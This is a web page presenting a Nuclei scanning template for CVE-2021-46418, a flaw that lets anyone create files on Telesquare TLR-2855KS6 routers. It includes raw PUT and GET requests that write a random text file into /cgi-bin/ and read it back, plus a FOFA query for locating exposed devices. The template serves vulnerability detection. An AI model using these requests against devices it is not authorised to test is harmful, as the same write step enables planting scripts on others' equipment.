Telesquare TLR-2855KS6 - Arbitrary File Creation

ID: CVE-2021-46418

Severity: high

Author: DhiyaneshDK

Tags: packetstorm,cve,cve2021,telesquare,intrusive

Description

An unauthorized file creation vulnerability in Telesquare TLR-2855KS6 via PUT method can allow creation of CGI scripts.

YAML Source

id: CVE-2021-46418

info:
  name: Telesquare TLR-2855KS6 - Arbitrary File Creation
  author: DhiyaneshDK
  severity: high
  description: |
    An unauthorized file creation vulnerability in Telesquare TLR-2855KS6 via PUT method can allow creation of CGI scripts.
  reference:
    - http://packetstormsecurity.com/files/166674/Telesquare-TLR-2855KS6-Arbitrary-File-Creation.html
    - https://github.com/ARPSyndicate/cvemon
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46418
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-46418
    epss-score: 0.07418
    epss-percentile: 0.94089
    cpe: cpe:2.3:h:telesquare:tlr-2855ks6:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: telesquare
    product: "tlr-2855ks6"
    fofa-query: "product==\"TELESQUARE-TLR-2855KS6\""
  tags: packetstorm,cve,cve2021,telesquare,intrusive
variables:
  filename: "{{rand_base(6)}}"

http:
  - raw:
      - |
        PUT /cgi-bin/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

        {{randstr}}
      - |
        GET /cgi-bin/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 201'
          - 'contains(server_1, "lighttpd") && contains(content_type_2, "text/plain")'
          - 'contains(body_2, "{{randstr}}")'
        condition: and
# digest: 490a00463044022062bef4317287b8e9efccbd79bb7ff06d011738ae7a47784cca32a892fbf246bf02201ac0932402d8355a5e73b879be7051a9fe3c30ebbec5618bc019ce04d2c5a9a7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-46418.yaml"

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